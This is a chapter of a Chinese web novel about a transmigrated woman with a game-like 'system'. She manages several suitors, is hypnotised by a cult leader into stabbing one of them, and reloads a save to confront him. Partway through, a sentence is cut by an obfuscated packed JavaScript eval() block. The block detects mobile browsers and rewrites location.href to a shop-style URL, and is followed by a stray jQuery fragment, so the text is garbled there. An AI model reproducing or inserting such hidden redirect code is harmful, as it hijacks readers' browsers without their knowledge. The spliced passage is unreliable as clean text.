28. 反派的邀约
作品:《别爱上一个渣女》 打来电话的人是江萦,安童想也不想就挂掉了。骗她的事情还没有算完账呢,得再晾一晾他。
她又扭了下身子,把手机扔到另一边。
谢岩从未觉得自己的忍耐性这么好过。
车内传来衣服摩擦的声音。
安童突然被单手抱起平放在车座上,谢岩单膝跪在她两腿之间,将她抵在了角落。
难道是把人逗太狠了?
安童本来戏耍的心情停歇了,心中有些揣揣然。她可不是真想在车里和他发生些什么,双手不自觉将谢岩的胸膛往外推,色令内荏地骂他:“你想干什么,这可是在车上,旁边就是学校!”
谢岩手撑在安童的腰侧,低头凝视着她的脸,几乎不用怎么辨别,很轻易地看清了她的退缩。
他又气又笑。
刚刚坐他腿上撩拨的时候,怎么就没想到外面是学校呢?
这小绿茶,只许她幡然点火,却不许别人找她扑灭?
就着这个姿势,谢岩刻意用着油腔滑舌的语调,一只手摸上安童纤细的腰肢,调笑着:“如果我就是想要干些什么呢?刚刚不是挺厉害的吗,现在怂了?”
虽然是逗弄回去,但谢岩的手仍然规规矩矩的,毕竟他终归是个很传统的男人,认定喜欢一个人就要结婚后再做亲密的事,这是对伴侣的尊重。
现在只是吓一吓安童,让她以后不敢对其他男人用这招。
对谢岩可以随意挑逗,他全盘接受小绿茶的恶趣味,但她这样对着别人就不太好了。
眼瞅着安童又要生气,他才不慌不忙抛出来一个大事。
“因为你和邪教组织的案件有关联,我向上级领导做了申请,特聘你成为队里的学生侧写顾问,可以参与侦破案件。”
“怎样,现在满意了吗?你随时都能知道调查进度,是不是没有这么怕了?”
谢岩刚说完,就被人搂着脖子往下拽,他低头和安童对视上,这双眼里充满了喜悦,就是没有感动。
不过他也习惯了,安童就是这么个喜欢理直气壮享受别人好处的小绿茶。
“谢谢你啊谢警官……”安童尾音拉长,这件好事突然砸在安童头上,让她今天郁结的心情好转很多,她眉眼弯弯,声音甜甜的,“帮了我这么大忙,需要我怎么奖励你?”
谢岩刚想再次提议合租的事,毕竟他很用心挑选了一套大平层,就是为了来到A市让安童也住进来。
一方面是私心,一方面也确实是为了保护安童。
把安童就这么放在学校,目标太显眼了,谢岩着实不太放心,还是放在眼皮子底下看着比较好。
谢岩要张口,却被另一人堵上。
他感受到唇上的湿软,独属于安童的香气也更加浓郁,头脑再度发昏起来。
刚想要回应,可对方又浅尝辄止,抽离后,她睁大的眼里透着无辜:“这样应该够了吧,或者谢警官你还想要吗?”
微妙地停顿一秒,安童才继续开口,眼波流转间透着狡黠,她轻声引诱道:“我还可以给你更多,但你可要快点查出那个女生是谁,查出她和教主的关联。”
安童似乎觉得好玩一样,谢岩这蠢驴看着凶猛又游刃有余,实则她一逗,这人就犯蠢一样,任由她动作。
她再次轻轻贴上对方,像是小猫在玩乐此不疲的游戏,伸-出舌头舔了舔,满意地看到对方喉结上下一滚,然后她就想往后撤,却被谢岩扣住后脑勺往前一送。
“唔……!”
对方吻得太-深了,像是没有吃过媳妇小嘴的硬汉,十分贪婪的追上去纠缠,短暂的喘息间,他还不忘念念不舍用舌-尖卷走安童嘴角溢-出的甜津。
安童眼泪都出来了,她这才意识到,谢岩这哪是犯蠢,分明是饿傻了,只是一时吃到好的,没有反应过来而已。
有些喘不过气,节奏完全被谢岩掌控了。安童抬起膝盖狠狠踢了一下他的腰部,听这人闷哼一声,动作却没见收敛。
而且谢岩浑身硬邦邦的,刚刚踢那一下,把她膝盖撞得生疼。
她觉得蠢驴这实在有些蹬鼻子上脸了,扬起手甩了他一耳光,谢岩这才清醒似的,放开了安童。
看来刚刚谢岩确实很忘我,眼睛都被刺激红了,神情带着还未散去的餍足,显得意犹未尽。
“抱歉,”谢岩心里开始懊恼,刚刚怎么就没忍住呢,但安童的唇瓣软软的,探-进去时香香的……他止住心里毛躁的想法,正了正色,“你的腿刚刚踢痛了吗?我给你揉揉吧。”
安童连忙避开他,双眼不信任地瞪着他,一只手摸索到车把手,拉开门就跳下车,趁谢岩没反应过来给他关到了车里。
谢岩倒是没有追出来,安童微微喘气,眼角带着未干的泪水,这才通过车窗上的倒影看见自己如今糟糕的模样。
她掏出随身携带的小镜子,正整理着自己的仪表,旁边传来熟悉的声音。
“安童。”
她回头一看,发现不远处正是江萦,额,或者江狼、江薄?
安童仔细端详一阵,发现他神情较为冷淡,灰色眼眸不带情绪地朝她看来,那应该就是江萦了。
他怎么会出现在这?
像是看出了安童的疑问,他缓缓走过来,目光不经意般扫过她背后的轿车,仿佛要透过这道车窗看清里面的人究竟是谁。
“过来办点事情,没想到刚好遇见你。”
安童背后的车门动了动,似乎有人要打开车门出来,瞥见江萦投来的眼神,她脸上带着笑:“真巧啊,我刚刚一个人去外面吃了饭。”
说话间,她后背往车门上一靠,给刚刚打开的缝隙压了回去,不让人出来。
谢岩在车内听到另一个男人的声音,和回忆里那清高贵公子的样貌逐渐重合,他再次联想到那张刺眼的照片。
本以为是有人故意抓拍的,现在看安童和这人聊天时熟稔的态度,难道私下真的这么亲密过?
谢岩稳不住了,想要打开门出去,却被堵住,他脑子一转就猜到是安童不想让他出去。
为什么?是不想让江萦知道她和自己刚刚在车里发生的事吗?
安童不会无缘无故对一个人这么上心,以她爱玩的秉性,也不可能是喜欢上别人,那就八成是江萦身上有她想要的东西,或者是她准备对江萦下手。
现在出去坏了安童的事,回头来又不会理他。
想通之后,谢岩按在车门上的手顿住,重新靠了回去,继续听着他们的聊天。
江萦仿佛没有发现安童这样随意靠在路边一辆车上有多奇怪似的,他嘴边挂着一贯疏淡的笑,像精致的冰雕一样,沉静的目光盯在安童的嘴上,又很快移开:“可以带我逛逛你的学校吗?上次我接你的时候,还没有说几句话,就被你……”
他的话断在了引入遐想的地方,像是有意无意又提起上次的事。
安童疑惑,明明她只是拉下江萦的领带而已,被他说得像是进行了什么见不得人的活动。
后背抵住的车门又动了动,一不小心把安童往前推得踉跄一下,她赶紧靠了回去,面不改色地回话:“今天不行噢,我太累了,想回去休息,改天再……”
江萦却骤然开口打断安童,眼神变得有些冷,如有千钧地往她身后看,话语落在人耳朵里冰棱棱的:“车里是谁?你刚刚从里面出来吗?”
安童:作为男人,有些时候还是应该收敛起不该有的好奇心。
她避而不谈,恍若无意地岔开话题:“对了江薄,真不把你弟弟江萦也叫来A市玩吗?这样我可以带你们一起逛学校。”刺激一下江萦,转移注意力get√
江萦神色未变,只是微微点头。
背后没再推门了,安童想了想,当着江萦的面掏出手机发了条消息安抚谢岩。
虽然她想要折腾江萦,但不该在这时候暴露本性。
[安徒生:别出来,我会考虑合租的事。]
车辆发动的声音响起,安童站平后,车就缓缓驶离他们所站的位置。
眼看车都没影了,江萦的目光依旧落在车上,她佯装生气地往校门口走去:“好不容易见一面,你的注意力怎么没在我身上,那你赶紧回去吧。”
没走几步,安童又回头,见江萦果不其然跟了上来,她鼓了鼓脸颊,道:“别跟着我,车都开走了,你去追吧,看两条腿能不能跑过四个轮胎。”
说完,便径直离开。
江萦听话地站在了原地,随着安童逐渐走远,确保她看不清自己后,神情逐渐变得混不吝,转头看向那辆车,正好经过一个转弯后消失不见,他眼神阴冷下来。
大脑里传来一道没有耐心的声音:不是商量好了扮成江萦来刺探安童对我的态度吗,你刚刚在干什么?和安童相处的时候你就不能专心点吗,你都把她气跑了,不行就换我上!
江狼没有言语,只是抬腿往那边走去,手往兜里摸了摸,尖锐的东西擦过他的指尖。
江薄察觉到他的想法后,不可置信:难不成你真打算追上去给他刀了?醒醒,你真的不是什么狼,就算是也跑不过吧!
脚步止住,倒不是因为江薄的话,而是江狼得想出个更万无一失的方法干掉那个人。
他不屑道:我没打算跑,准备打车去追,真当我是傻子吗。
没给江薄开口的机会,他继续讽刺:没看出安童刚刚的情况不对吗,那车里估计是她的另一个追求者,人家都亲上嘴了。怪不得被你哥撬墙角,就你这钝感力,哪天江萦背着你和安童上本垒了,第二天她走路姿势不对,你都得天真地担心她是因为床太硬导致没睡好。
江薄支支吾吾没说话了。
江狼准备打道回家,刚拉开车门,另一辆车正好停在他旁边。
车门打开的声音响起。
江狼抬头,眼睛先是扫过熟悉的车身,而后看向跨出车门的男人,这人看上去沉着稳重,却不知道自己的眼神已经出卖了他。
锋利中透着自己都没有察觉出的针对和敌视,像是来打小三的正宫。
原来刚刚就是这个人啊。
江狼没有被谢岩刻意施加的威压吓到,而是扬起一个礼貌的笑,头微微抬起,带着点居高临下的姿态:“离安童远点,不然你不会想知道后果。”
很随意的语气,压根没把眼前的人放在和他一个地位对待。
和谢岩刚刚透过车窗看到的像冰雪一样薄凉的人截然不同,虽然同样傲慢且轻视别人,但性格大变。
他接触的人鱼龙混杂,经验丰富,一眼看出来这人不好惹,不是什么简单的人物。
谢岩审视打量着,刑警敏锐的嗅觉,让他从这人身上感受到了和穷凶极恶的犯罪分子如出一辙的高度危险性,和未经社会驯化的随心所欲。
这小绿茶招惹了些什么人,她知道这人压根不是之前的贵公子吗?
他留意到江狼手伸向了衣兜,隐约看到冒出的一点寒光,瞬间警惕起来,这人却什么也没拿出来。
江狼脸上带着难以捉摸的笑,看向谢岩时,眼里却没有他的倒影似的,十足漠然,什么也没再说,直接上车开走,给站在原地的人留了车轱辘的尾气。
谢岩烦躁地钻进自己的车里,左手握成拳头狠狠砸向方向盘。
*
等待谢岩调查结果的几天,安童按部就班地完成日常活动。
吃早饭,上课,回手机里那堆联系人的破消息,挂电话;吃午饭,上课,回消息,挂电话;吃晚饭,自由活动,听听大师发来的音频,看看书,回消息,挂电话,睡觉。
最近系统像是死机了一样,没有弹出任何提示和特殊事件,甚至连做好事任务也没有,像是已经放弃了挽救安童那跌到下限的德行值。
安童怀疑系统还中了病毒,不然怎么会每天给她弹出【体魄值-0.2】的消息。
她虽然最近心情确实挺烦躁,但也不至于身体健康状况下降得这么离谱吧?
总之,日子过得无聊且充实。
不过……不知道怎么回事,微信置顶的这些男人像是被什么刺激到了一样,成天给她发奇怪的消息,密不透风地询问安童在哪里、在干什么,身边有谁。
其中以江狼、谢岩最甚,动不动就给她打视频。
噢,还有顾峤,顶着他那已经掉马的小号发些伤风败俗的信息,要不是他背后势力深厚且对安童有用,真想直接将这变态交给谢岩举报一条龙送进去。
像是无能的男朋友在查岗。
安童:笑死,都是她养的鱼罢了。
得益于那帮最近很活跃的人,安童还能找点乐子。
比如让江萦体验一下当替身的快乐。
每当安童感到无聊时,就会给江萦发消息。
[安徒生:最近你怎么变得这么冷淡,是我哪里让你厌烦了吗?以前你可是要叫我姐姐的……]
对面估计纠结了很久,隔了一个小时才回消息。
[萦:姐姐。没有厌烦,你喜欢我多说些话吗?]
一想起江萦顶着那张冷淡的脸叫她姐姐,安童就有被爽到。
其实逗到这种程度就可以了,把人刺激得太过也不好,毕竟江萦有情感缺失症,万一没有调理好情绪造成心理变态怎么办。
但安童很会得寸进尺,势必要折磨一下江萦。
不是很喜欢假冒别人吗,安童还真以为江萦有双重人格呢,因此对他产生极大的兴趣,甚至还舍身取义答应他好几次的约会!结果真正有第二人格的是江薄。
这么喜欢冒充身份,那就当江薄当个够吧。
[安徒生:也不全是这样,我喜欢你以前的语气,会显得很喜欢我一样……现在你都不怎么说话了,我更怀念之前的你。最近是发生了什么事吗,所以性格变化这么大?]
不知道江萦经历了怎样的心理路程,等到晚上安童拿起手机看消息时,他发来的消息已经变了一种语气。
[萦:姐姐,原来你喜欢我这样啊!我以为之前那样你很讨厌,毕竟我话有些多(鲜花)]
安童汗毛都竖起来了。
本来以为这样能逼着江萦接受不了后主动承认,现在他是打算彻底坐实,变本加厉伪装成江薄的语气?
以为是个淡人,没想到也是个隐藏的变态,安童速速远离他,连着几天没回江萦消息,但对方的消息发得越来越勤,俨然适应了这种口吻。
当然,尽管变态多到枚举不完,但还是有个正常人的——萧白桦,在众多奇葩中脱颖而出,单纯又好骗,安童说什么他都信。
前一天安童不小心把发给江狼的消息发给萧白桦,他发了一句“?”后就没理她了。
直到安童发了条半夜emo的朋友圈,他又假装“不小心”地点错了一杯奶茶给她。
真装啊。
不过怪可爱的。
一转眼,在安童学校举办的比赛结束了,萧白桦非常含蓄地表达了离开前想见她最后一面的想法。
而这天,谢岩也终于查出来陷害萧白桦的人。
“这个女生是你学校的人,我把照片发你,看看认识吗。”
安童戳开一看,顿时大脑一激灵,后背鸡皮疙瘩都起来了,一种被人时刻监视的、阴魂不散的胆寒再次出现。
——这个人留着短发,笑容腼腆,看上去十分纯善。
正是之前和安童短暂见过几面的短发女,许凝。
【特殊事件-支线1完成,恭喜宿主找出陷害萧白桦的人】
【德行值+10】
【处事值+10】
【体魄值+10】
【特殊事件-支线2开启:请宿主从许凝那里套出邪教组织的信息】
回想起那几次擦肩而过,安童身子一抖,眼中迅速飙出泪来,她忍着害怕开口,声音难藏惊惧:“我和她有过接触,但她没有对我造成伤害,所以……她的目的是什么?”
警局内。
谢岩在办公室翻着许凝资料,纸张纷飞,突然,他目光定在一条履历上,声音变得严肃:“安童,她和你是同一个初中,你们结过怨吗?”
“我初中除了太受欢迎,从来没有和谁起过冲突啊。”
听出了安童话语间的颤抖,谢岩语气放缓,耐心地问道:“放心,她现在已经被押到审讯室了,你现在没事,说明她没有得手。我会亲自审问,一定会问出她的目的。”
顿了顿,谢岩小心道:“你和这起邪教组织的连环案件有很大关联,如果你在现场的话,以你的能力,可以帮助我完成侧写。”
安童其实有点心惊胆战,但她想起自己还有回档功能,又鼓起勇气答应了谢岩。
毕竟她真有系统外挂,或许能够从许凝身上挖掘出和教主有关的信息。
“滴滴……”
刚结束和谢岩的通话,另一个人又见缝插针打过来。
是沈长昀。
安童这几天一直没搭理他,连带着他那不知跑哪鬼混的疯狗养子。
沈长昀对安童冷淡的反应很平淡,她本来还感慨不愧是有阅历的成熟男人,处理感情的事就是果断,也不胡搅蛮缠,没想到这就忍不住了。
安童挂了电话,她现在没兴趣闲聊,直截了当地问他要干什么。
等待回复时,安童才想起一件重要的事,她赶紧给自己存了个档。
[沈长昀:安小姐你好,很抱歉打扰你。沈竹青明天出国了,你作为他的朋友,可以来我家看看他。]
连借口都找好了,不就是想约安童去他家里嘛,还拐弯抹角的,心思真多。
安童也想会会这个难得没有缠着自己的人,情商高又有有分寸,可以结交。
答应后,她便要关掉手机,却见最近和她成为聊天搭子的大师发来一条语音。
她戴上耳机,随手点开。
“现在,是欢迎你加入教会的最后一步……”
什么教会,什么最后一步?
安童意识到不对劲,想要切出语音,手却不由自主顿住,思想逐渐飞走,化为一片白茫茫,像是有谁在她脑中温柔诉说,和风细雨。
仿佛有一双温柔的大手抚摸着她的头,笑着道:孩子,完成你的第一步净化吧。
*
谢岩依旧翻着许凝的资料,他始终认为许凝和安童的再次相遇很可疑。
很快,他发现了端倪,在一份许凝高中同学的口录报告中。
拿起笔,在一处地方圈了圈,谢岩视线凝住,侧脸绷紧。
许凝高二时,性情大变,原本羞赧内敛,不知道经历了什么,变得阴沉孤僻,成天对别人投以敌视的眼神,最后因为打伤同学被口头惩罚。
许凝同学是这样描述当时的场景:“本来是要记处分的,但那个同学说许凝没有打他,而是他自己打伤的自己。”
谢岩瞬间想到了什么。
催眠。
所以,许凝可能不是没对安童下手,而是已经下手成功了。
谢岩立马给安童打了通电话,却一直没接通,虽然小绿茶经常不接很正常,但现在的情况让他莫名生出些不安。
心中警铃大响,担忧和害怕袭上心头,促使他几乎是手慌脚忙地开车前往学校。
学校会堂内。
此时这里僻静无人,显得脚步声异常清晰。
萧白桦心中雀跃地想着:安童竟然主动约他见面,说明心中还是有他的。
虽然心中短暂疑惑过,为什么安童会约他来出过事的休息室,她不是很胆小吗?
但萧白桦很快就自我说服成功:可能是想在他们重遇的地方叙叙旧吧,安童果然很在乎他。
他这次的见面,是不是要被安童转正了?
萧白桦忐忑又兴奋地坐在休息室的凳子上,见到安童打开门进来后,他又矜持地冷酷着,不想让自己喜悦的心情流露出来。
“你怎么把我叫来这里啊,我倒是不怕,但你不是说过很讨厌发生过事故的地方吗?”
说出口后,没有得到安童的回应,她好像不太满意,神情很是冷淡。
萧白桦心里检讨着自己不会说话,叙旧该说什么?当然是情话啊,眼看安童已经走到面前,他装不住冷脸的模样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994887|190456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,下意识站了起来,绞尽脑汁说话:“我要回学校了,但也在A时,我可以经常来找你,如果你想见我的话,我……”
最后一句话还没说出口,萧白桦轻松的神情僵在脸上,胸口传来被利器穿透过的剧痛,他低头,冷酷的表面褪去,剩下的是难以形容的脆弱。
他难过又不可置信地望着安童。
“噗呲——”
匕首抽出胸膛的声音,带出飞溅的血,落在安童脸上。
有滴血渗进了她眼里,睫毛颤了颤,神情依旧失神恍惚。
萧白桦此时可以反抗,毕竟他作为一个男人,加上经常健身,制住安童还是绰绰有余。
但他只是静止地站在那里,仿佛时间也停滞了,胸口处的疼牵扯到了心口,他嘴角溢出血,却没有伸手去擦,只知道让自己强撑着别倒下。
萧白桦固执又哀伤地直视安童的眼睛,想知道为什么会对他下手,是不是有人威胁她这样做。
但安童像樽石像一样沉默,他仿佛灵魂被抽走一般,终于坚持不住倒下。
为什么,安童就这么讨厌他吗?
可他很听话啊,尽管只是她鱼塘里的一条鱼,但也乖巧地待在鱼塘里没有搅浑水。
他想抬手拉住安童的裤脚问为什么,却被狠狠踢开。
见到这一幕,安童依旧面无表情,只是眼睫快速颤动了一下。
没过一会,她眼神逐渐清明,像是突然灵魂归位一样,瘫倒在地大口喘息。
萧白桦胸口有一个大洞,他今天穿的是一件黑色体恤,此刻已经被血浸透,变成了不祥的暗红色。
“滴——”
没等安童从眼前这一幕缓过来,手机响起提示音,她颤抖着手拿起来点开信息,在这短短的几秒,无数疑问和恐惧像洪流一样将她淹没。
在看信息之前,安童首先注意到的是自己染着鲜-血的手,眼前的画面像是要吃人一样,她闭了闭眼,强压下不知所措,点开大师发来的语音。
“我是教主,恭喜你,在圣音的指导下,已经完成了净化的第一步。”
“现在是否有些害怕?这是正常的,净化的第一步总是很难,但只要经过了洗礼,你就是我们的一员,后续我们会帮忙处理现场,不必担忧。”
为什么?
安童捂着脸,几乎是大喊出来,发出语音:“什么破教主!为什么选中我,你们是对我进行了催眠?”
休息室的门打开了。
走进来的这个人依旧穿着西装,俊俏年轻的脸上依旧挂着阳光开朗的笑,显得无比正常,他轻快地吹了声口哨。
“净化这本书好看吗?这是我好不容易送到你面前来的。”
安童几乎想给他一拳,但现在她四肢发软,根本站不起来,眼睁睁看着教主走到她面前蹲下。
宋溪笑意吟吟地用一根手指托起安童的头。
“为什么选中你?”他似乎迟疑了一下,自顾自地摇着头,笑了一声,“你应该问,什么时候选中的你。”
想到了什么,宋溪期待地看向安童,眼里闪着亮光:“你还记得我吗?我们以前见过,那时候你应该在读小学。”
搞什么回忆杀!
安童很暴躁,想骂人:“你是不是有病?我问你为什么选中我!”
他听了后似乎觉得很好笑,乐不可支地回道:“当然是因为你完美符合入教标准。”
“我一直在悄悄关注你,你成长得很出色,很会挑拨是非,装无辜搞事,还怪可爱的。本来当时你在S市的侧写让我的组织浮出水面,足够我找人杀掉你无数回了,”他欢快地讲着,像是在和安童分享什么有趣的事情,“尽管我舍不得,但也没办法,不是吗?”
“但你比我想象中还要有意思,我很好奇,你是怎么勾得那么多优秀的人为你神魂颠倒,争风吃醋,这简直比催眠还有用。”
“你看,倒地上这蠢货甚至没有挣扎,轻而易举被你得手。”
宋溪像是情人间喃喃私语一样,语气格外缠绵。
他凑近安童的脸,在她唇上印下一个吻,但眼里并没有任何旖旎欲望:“你和那些人是怎么亲的,可以和我试试吗?我好奇很久了。”
安童当然拒绝,可宋溪看着笑嘻嘻很好说话,实则压根没给她选择的机会。他掰住安童的下巴不让她动,轻柔又不容拒绝地含住她丰润的唇瓣,小心地舔-坻着。
还没有探-进去,光是这样浅浅的亲吻都足以让宋溪开始着迷,他开始理解那些为安童昏了头脑的人。
但此刻不是好时候,他眼里一暗,松开安童,把声音拉低:“加入我吧,我能看出来,你也游离在这个世界之外,对这里没有归属感,很彷徨吧?加入我……”
【特殊事件:邪教组织的教主诚挚邀请你入会,你选择——】
【A.打工人在哪过不是过,无脑入!】
【B.我是社会主义接班人,不同流合污!】
【注:该事件会影响到宿主的人生发展,请谨慎选择】
安童没憋屈自己,当面骂了回去,在这个模拟世界第一次丝毫不带伪装地骂一个人:“我看监狱挺适合你的,你要不加入一下那些罪犯?也不算委屈了你。”
这破教主讲了半天,全是废话。
安童心疼自己,留在这里听这中二反派少年讲了一堆侮辱她智商的话。
所以纯属她倒霉,因为太有魅力被反派随机选中,然后用下三滥的手段拉她入会。
安童彻底冷静下来。
无所谓,她会回档。
但临走前,她看了一眼躺在地上看不出生死的萧白桦,难以咽下心里的气,用尽身上的力气给了宋溪一拳。
宋溪没有反抗,甚至看出她的动作后,主动凑上前挨下,他大声地笑着,坐在地上歪歪头,饶有兴味地开口:“本来觉得平日里装模作样的你已经够可爱了,没想到你打人的样子更讨人喜欢。”
得了,确诊变态,没得救了。
安童麻了。
来到这个世界后,遇到的变态都可以召唤神龙了。
等她回档后,她一定求着系统做任务提升德行值,改善一下自己的运气。
安童站起来,再次狠狠踢了这变态一脚,才回档。
“滴……”
手机传来消息,是沈长昀发来的,安童随手发了个OK,然后切到和宋溪的聊天框。
没有点开那条语音,安童发了条消息。
[安徒生:大师,你现在在哪,我有超级重要的事要找你(哭)]
对面隔了一会,才把地址发来。
这时谢岩打了通电话过来,安童接起,没等对方开口,她语速极快道:“我好像知道教主是谁了,你赶紧到这个地址。”
说完她就挂掉,并没有具体告知是谁。
毕竟她很难接受自己自己是怎么知道的,谢岩多疑的性格太难搞定了。
等抓住宋溪,再慢慢想理由也不迟。
*
安童来会堂之前,再次存了个档,并给萧白桦发了条信息让他离开。
毕竟她的情况不太稳定,这催眠也不知道怎么触发的,萧白桦又那么笨,被她刺了都不反抗,留着当炮灰吗。
安童坐在观众席,看到宋溪走进来的一瞬间,她下意识有些紧张和害怕,但努力地将这些情绪隐藏了起来。
她装作开心地朝宋溪走去,语气带着埋怨:“大师,你是不知道,最近我的鱼塘可吵了,想来找你取取经。”
宋溪笑了,任由安童拉着他到观众席坐下,闲聊一阵后,他发现了安童的顾左右而言他,像是藏着什么秘密。
而有什么需要这么瞒着他?
宋溪瞬间锁定答案——安童发现了她的身份。
带着答案发现问题后,他开始饶有兴致地欣赏安童的表演。
表情好不无辜,眉眼间带着刻意而为的柔弱,像是弱小的兔子在面临凶兽时想要靠求饶逃过一劫,却不知自己会更加危险。
演技很是拙劣,却有一大堆人前仆后继地主动上钩。
安童这副模样,他私下看过很多回,每次都是看着她迷惑别人,常看常新。
没想到这次轮到了自己。
和旁观时不一样,当他成为当事人的时候,才深有体会地理解那些被安童得手的男人。
这种满足又愉悦的情绪,很让人上瘾。
他没有立刻拆穿,再次津津有味地欣赏了一会,才笑着开口:“你发现我的身份了吧?”
安童心里一惊,表面上却是茫然的模样:“什么身份?”
本来还能维持镇定,听到宋溪接下来的话后,她笑容逐渐僵硬。
“这么胸有成竹,是搬了救兵?让我猜猜,是那个刑警吧,”宋溪夸赞道,“你果然很敏锐,看来得换另一个温和点的办法让你慢慢接受入会了。”
“现在,我得抓紧时间干一些事。”
安童再不跑那可就真是傻子了,她刚要起身,就被拉进宋溪怀里,头撞到了他胸膛上,听到他笑声带起的震动。
“你应该不会吝啬给我一个吻吧?”
*
安童陡然间激灵一下,她晃晃脑袋,看着坐在身边的宋溪,一时想不起自己是来干什么的。
宋溪脸上带着明媚阳光的笑,看得人暖洋洋的:“你不是让我陪着一起找萧白桦吗?”
啊?
她为什么和大师一起找萧白桦?
安童抱着脑袋,感觉有点不对劲,但又说不上哪里古怪,明明一切看起来都很正常。
看着安童怀疑人生的可爱模样,宋溪脸上的笑放大,他咧嘴一笑,露出了虎牙,显得开朗又可爱:“你不记得了吗?刚刚你让我帮你想办法平衡一下鱼塘,我们讨论了很久,最后决定先去找萧白桦。”
等等,这句话让安童的脑海里浮现一些记忆。
好像她确实对宋溪说过找他帮忙。
难道真是最近神经紧绷导致大脑变糊涂了?
宋溪笑着拉起安童的手。
“我们走吧。”

